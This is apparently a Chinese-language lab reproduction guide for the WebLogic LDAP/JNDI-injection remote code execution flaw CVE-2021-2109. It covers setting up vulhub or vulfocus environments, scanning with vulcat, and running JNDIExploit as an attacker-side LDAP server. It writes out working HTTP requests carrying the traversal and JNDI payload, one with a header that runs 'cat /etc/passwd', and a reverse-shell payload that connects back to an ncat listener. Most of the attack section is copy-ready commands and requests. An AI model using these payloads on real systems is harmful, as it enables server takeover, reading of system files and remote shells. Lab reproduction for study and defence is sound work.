weblogic-cve-2021-2109
# 💔 Weblogic LDAP 远程代码执行
# 1)漏洞信息
漏洞名称 | 受影响组件 | 漏洞类型 | 漏洞编号 |
---|---|---|---|
Weblogic LDAP 远程代码执行 | Weblogic (opens new window) | 远程代码执行 | CVE-2021-2109 |
漏洞简介 |
---|
Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。 影响版本: WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0 |
参考链接 |
---|
补丁及修复方案 |
---|
|
# 漏洞环境
# 方案一
使用vulhub (opens new window)搭建漏洞环境(14882的环境同样适用于CVE-2021-2109)
git clone https://github.com/vulhub/vulhub
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
1
2
3
2
3
访问7001端口,可以看到以下页面(还需要等待一会,因为weblogic需要加载console控制台)

# 方案二
使用vulfocus (opens new window)搭建漏洞环境
docker pull vulfocus/weblogic-cve_2021_2109
docker run -itd -p 7001:7001 vulfocus/weblogic-cve_2021_2109
1
2
2
访问控制台页面,进行登录
- 账号:weblogic
- 密码:welcome1
# 漏洞复现
python3 vulcat.py -u <URL> -a weblogic -v cve-2021-2109
# 注意, vulcat-v2.0.0版本及以上, 应使用以下命令
python3 vulcat.py -u <URL> -v cve-2021-2109
1
2
3
4
2
3
4

在DNSLOG平台可以看到相应记录

如果想进一步利用漏洞,需要下载辅助工具:https://github.com/WhiteHSBG/JNDIExploit/

运行JNDIExploit(需要提前安装java环境)
- 使用-i选项指定本地IP
- 默认监听1389和3456端口
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i <IP>
1
运行JNDIExploit之后
- 复制漏洞信息中的Request数据包
- 放入Burp,修改LDAP的IP地址
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.80;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.80.132:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.80.132:7001
Origin: http://192.168.80.132:7001
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
ldap://192.168.80;1:1389/Basic/WeblogicEcho
1
此处需要注意,CVE-2021-2109有一个特性
- IP的最后一个.需要改为分号;
- 例如 192.168.1.1 --> 192.168.1;1
在Burp发送数据包之后,回到命令行,可以看到返回了记录
- 说明LDAP成功
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.80;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.80.132:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.80.132:7001
Origin: http://192.168.80.132:7001
cmd: cat /etc/passwd
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
此时如果你想执行自定义命令,并获得回显
- 只需要在数据包中添加一个Headers
- cmd: 你的命令
- 如图

- vulfocus: 由于vulfocus的镜像无法通过漏洞 绕过登录页面进后台 所以需要提前登录,并在扫描时添加Cookie


# 额外内容-反弹shell
JNDIExploit (opens new window)还支持反弹shell的功能
- 在一台Linux机器上运行ncat,如图
- 必须是Linux机器,Windows运行ncat无法获取反弹回来的shell(工具介绍是这样说的,复现时经过实验也发现Windows不行)
然后发送Payload
- 我的JNDIExploit.jar运行在192.168.80.1,端口1389
- ncat运行在192.168.80.132,端口12000
ldap://<你的JNDI>/Basic/ReverseShell/<IP>/<PORT>
# 示例:
ldap://192.168.80;1:1389/Basic/ReverseShell/192.168.80.132/12000
1
2
3
4
2
3
4

回到ncat终端,可以看到已经返回了shell

编辑 (opens new window)